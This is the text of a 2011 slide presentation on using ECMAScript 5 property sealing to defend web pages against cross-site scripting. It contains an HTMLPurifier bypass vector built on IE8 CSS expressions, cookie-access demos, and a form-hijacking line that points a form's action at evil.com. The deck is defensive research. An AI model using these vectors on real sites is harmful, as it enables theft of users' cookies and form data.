Locking the Throne Room
How ES5 might change views on XSS and Client Side Security

A presentation by Mario Heiderich, 2011
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Today's menu

- JavaScript and XSS
  - How it all began
  - A brief historical overview
- Cross Site Scripting today
  - Current mitigation approaches
  - A peek into the petri dishes of current development
- A different approach
  - ES5 and XSS
- Case study and discussion
- Future work
JavaScript History

- Developed by Brendan Eich as LiveScript
- JavaScript 1.0 published late 1995 by Netscape
- Microsoft developed the JScript dialect
- JavaScript 1.5/JScript 5.5 in November 2000
- JavaScript 1.6 introducing E4X in late 2006
- JavaScript 1.8 in 2008
- JavaScript 1.8.5 in 2010, ECMA Script 5 compliance
JavaScript and XSS

- Cross Site Scripting
  - One site scripting another
  - Early vectors abusing Iframes
  - First published attacks in the late nineties
  - Three major variations
    - Reflected XSS
    - Persistent XSS
    - DOM based XSS / DOMXSS
  - Information theft and modification
  - Impersonation and leverage of more complex attacks
**The DOM**

- **Document Object Model**
  - Prototype based representation of HTML/XML trees
  - Interfaces for easy JavaScript access
  - Methods to read and manipulate DOM subtrees
  - Events to notice and process user interaction
  - Interaction with browser properties
  - Access to magic properties such as document location
  - Proprietary interfaces to
    - Crypto objects, browser components, style sheets, etc.
XSS today

- An ancient and simple yet unsolved problem
  - Complexity
  - Browser bugs
  - Insecure web applications
  - Browser plug-ins
  - Impedance mismatches
  - Application layer mitigation concepts
  - Risk assessment and ignorance
  - New features and spec drafts enabling 0-day attacks
Impedance mismatch

- Layer A is unaware of Layer B capabilities and flaws
  - Layer A deploys the attack
  - Layer B executes the exploit

- Case study:
  - HTMLPurifier 4.1.1
  - Server side HTML filter and XSS mitigation library
  - Internet Explorer 8, CSS expressions and a parser bug

- `<a style="background:url('\\\!',@x:expression\(write\(1\)\)\)//\)!\'');"</a>`
Mitigation History

- **Server side**
  - Native runtime functions, `strip_tags()`, `htmlspecialchars()`, etc.
  - Runtime libraries and request validation
  - External libraries filtering input and output
    - HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
    - HTTPOnly cookies
  - Client side protection mechanisms
    - `toStaticHTML()` in IE8+ and NoScript
    - IE8+ XSS filter and Webkit XSS Auditor
    - Protective extensions such as NoScript, NotScripts
    - Upcoming approaches such as CSP
Further vectors

- Plug-in based XSS
  - Adobe Reader
  - Java applets
  - Flash player
  - Quicktime videos
  - SVG images
- Charset injection and content sniffing
  - UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
  - Chameleon files, cross context scripting, local XSS
- DOMXSS
DOMXSS

- DOMXSS is transparent for the server
  - Vectors trigger without server interaction
  - Impossible to filter or detect for server side IDS/libraries
  - No appearance in server log files
- DOM objects execute code
  - Location object, HTML5 history vectors
  - Infected cookies, referrers and window.name
  - Self contained attack vectors via location and document.URI
  - HTTP Parameter Pollution – client side
  - Proprietary objects and methods
  - Form controls to overwrite global properties
  - SOP violations, malicious frames, evil frame-busters
Server side filtering of client side attacks
  - Useful and stable for basic XSS protection
Still not remotely sufficient
  - Affected by charsets, impedance mismatch
  - Subverted by browser bugs an parser errors
  - Rendered useless by DOMXSS
  - Bypassed via plug-in based XSS
  - Helpless against attacks deployed from different servers
Not suitable for what XSS has become
Revisiting XSS

- XSS attacks target the client
- XSS attacks are being executed client side
- XSS attacks aim for client side data and control
- XSS attacks impersonate the user
- XSS is a client side problem
  - Sometimes caused by server side vulnerabilities
  - Sometimes caused by a wide range of problems transparent for the server
- Still we try to improve server side XSS filters
Idea

- Prevention against XSS in the DOM
- Capability based security
- Inspired by HTTPOnly
  - Cookies cannot be read by scripts anymore
  - Why not changing `document.cookie` to do so
- JavaScript up to 1.8.5 enabled this
- Unfortunately Non-Standard
- Example →
<script>
document.__defineGetter__('cookie', function()
    alert('no cookie access!');
    return false;
});
</script>

...

<script>
    alert(document.cookie)
</script>
Problems

- Proprietary – not working in Internet Explorer
- Loud – an attacker can fingerprint that modification
- Not tamper resistant at all
  - JavaScript supplies a delete operator
  - Delete operations on DOM properties reset their state
  - Getter definitions can simply be overwritten
- Object geters - invalid for DOM protection purposes
- Same for setters and overwritten methods
<script>
    document.__defineGetter__('cookie', function() {
        alert('no cookie access!');
        return false;
    });
</script>

...  

<script>
    delete document.cookie;
    alert(document.cookie)
</script>
Tamper Resistance

- First attempts down the prototype chain
  - `document.__proto__.__defineGetter__()`
  - `Document.prototype`
  - `Components.lookupMethod(document, 'cookie')`

- Attempts to register delete event handlers
  - Getter and setter definitions for the prototypes
  - Setter protection for setters
  - Recursion problems
  - Interval based workarounds and race conditions

- JavaScript 1.8 unsuitable for DOM based XSS protection
ECMA Script 5

- Most current browsers use JavaScript based on ES3
  - Firefox 3
  - Internet Explorer 8
  - Opera 11
- Few modern ones already ship ES5 compliance
  - Google Chrome
  - Safari 5
  - Firefox 4
  - Internet Explorer 9
Object Extensions

- Many novelties in ECMA Script 5
- Relevance for client side XSS mitigation
  - Object extensions such as
    - `Object.freeze()`
    - `Object.seal()`
    - `Object.defineProperty() / Object.defineProperties()`
    - `Object.preventExtensions()`
  - Less relevant but still interesting
    - Proxy Objects
    - More meta-programming APIs
    - Combinations with DOM Level 3 events
Object.defineProperty() and .Properties()

Three parameters
- Parent object
- Child object to define
- Descriptor literal

Descriptors allow to manipulate
- Get / Set behavior
- Value
- “Enumerability”
- “Writeability”
- “Configurability”

Example →
```html
<script>
Object.defineProperty(document, 'cookie', {
    get: function(){return:false},
    set: function(){return:false},
    configurable:false
});
</script>

...

```html
<script>
    delete document.cookie;
    alert(document.cookie);
</script>
```
Access Logging

- Object.defineProperty() allows basic AOP
- Get and set access can be monitored
  - This enables logging
  - Method calls, property access
  - Differing reactions depending on accessors and parameters
  - Possible foundation for a client side IDS
Setting “configurability” to false is final

- The object description is stronger than delete
- Prototype deletion has to effect
- Re-definition is not possible
- Proprietary access via Components.lookupMethod() does not deliver the native object either

With this method call cookie access can be forbidden

- By the developer
- And by the attacker
Prohibition

- Forbidding access in general
  - Interesting to prevent cookie theft
  - Other properties can be blocked too
  - Methods can be forbidden
  - Methods can be changed completely
  - Horizontal log can be added to any call, access and event
  - That is for existing HTML elements too
  - Location properties can be treated as well

- Example →
<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {
    set: IDS_detectHijacking,
    get: IDS_detectStealing,
    configurable: false
});
</script>

...

<script>
    document.forms[0].action='//evil.com';
</script>
Roundup

- Access prohibition might be effective
- Value and argument logging helps detecting attacks
- Possible IDS solutions are not affected by heavy string obfuscation
- No impedance mismatches
  - Attacks are detected on the layer they target
  - Parser errors do not have effect here
  - No effective charset obfuscations
  - Immune against plug-in-deployed scripting attacks
  - Automatic quasi-normalization
Limitations

- Blacklisting approach
- Breaking existing own JavaScript applications
  - Forbidding access is often too restrictive
- Breaking third party JavaScript applications
  - Tracking scripts (Google Analytics, IVW, etc.)
  - Advertiser controlled scripts
- Small adaption rate, high testing effort
- No fine-grained or intelligent approach
Solutions

- No access prohibitions but RBAC via JavaScript
- Possible simplified protocol
  - Let *object A* know about permitted accessors
  - Let accessors of *object A* be checked by the getter/setter
  - Let *object A* react depending on access validity
  - Seal *object A*
  - Execute application logic
  - Strict policy based approach
- A shared secret between could strengthen the policy
- Example →
```html
<script>
Object.defineProperty(document, 'cookie', {
    set: RBAC_checkSetter(IDS_checkArguments()),
    get: RBAC_checkGetter(IDS_checkArguments())
    configurable: false
});

// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

...
Forced Introspection

- Existing properties can gain capabilities
  - The added setter will know:
    - Who attempts to set
    - What value is being used
  - The added getter will know:
    - Who attempts to get
  - An overwritten function will know:
    - How the original function looked like
    - Who calls the function
    - What arguments are being used
- IDS and RBAC are possible
- Tamper resistance thanks to `configurable:false`
Case Study

- Stanford JavaScript Crypto Library
- AES256, SHA256, HMAC and more in JavaScript
- „SJCL is secure“
- Not true from an XSS perspective
- Global variables
- Uses
  - Math.floor(), Math.max(), Math.random()
  - document.attachEvent(), native string methods etc.
  - Any of which can be attacker controlled
- High impact vulnerabilities ahead...
Hardening

- First level hardening
  - No global vars anymore
  - Usage of anonymous functions and closures

- Second level hardening
  - Using the discussed approach
  - Seal the internal objects
  - Wrap native methods
  - Apply role model authentication and IDS logic

- Apparently a high maintenance job
Easing Adaptation

- JS based IDS and RBAC is not easy to grasp
- Possible adaptation boosters include
  - Usage ready libraries
  - Well readable policy files (JSON)
  - GUI Tools for individual policies
    - Automated parsing of existing libraries and scripts
    - Security levels and developer compatible docs
- Community driven hardening and vendor adaptation
- Interfaces to server-side filter logic
- Spreading awareness for security sake!
ES5 Philosophy

- “With great power comes great responsibility“
- Sealing properties is very powerful
- First time there's no reset feature anymore
- What the defender can do, the attacker can as well
- Object.defineProperty() could lead to serious problems
  - Super-Powers for attackers
  - A whole new situation for advertisers
  - Rethinking website mash-ups
  - Subverting the Web 2.0 philosophy
Deployment

- Website owners should obey a new rule
- „The order of deployment is everything“
- As long as trusted content is being deployed first
  - `Object.defineProperty()` can protect
  - Sealing can be used for good
- The script deploying first controls the DOM
  - Persistent, tamper resistant and transparent
- Self-defense is possible
- Example →
<html>
<head>
<script>
...
Object.defineProperty(Object, 'defineProperty' {
  value: [],
  configurable: false
});
</script>

...

<script>
  Object.defineProperty(window, 'secret', { 
    get:stealInfo
  }); // TypeError
</script>
Conclusion

- ES5 changes client side security significantly
- Eradication of XSS versus sealing its targets
- Future work
  - Model implementations
  - Easy to use rule and policy generators
- Using ES5 to cover more security aspects
  - Malware detection and prevention (HoneyAgent, 2011)
  - Ad-Blocker
  - Client side NoScript without any domain trust flaws
  - Better XSS detection, Click-jacking prevention
- JavaScript based RBAC and IDS
- New risks and dangers for those lacking awareness
Future Work

- Address browser vendors about concerns and bugs
  - Double freezing, lack of ES5 support, peculiarities
- Create a model framework
- Interact with the Google Caja team
- Academic publications
- Spread awareness on ES5 and the attached implications
- Address the white-list/blacklist problem in a more methodological manner
  - W3C draft submission?

- Finally, *somehow* tell online advertisers in a charming way, what they have to expect soon...
Questions

- Thanks for your time!
- Discussion?

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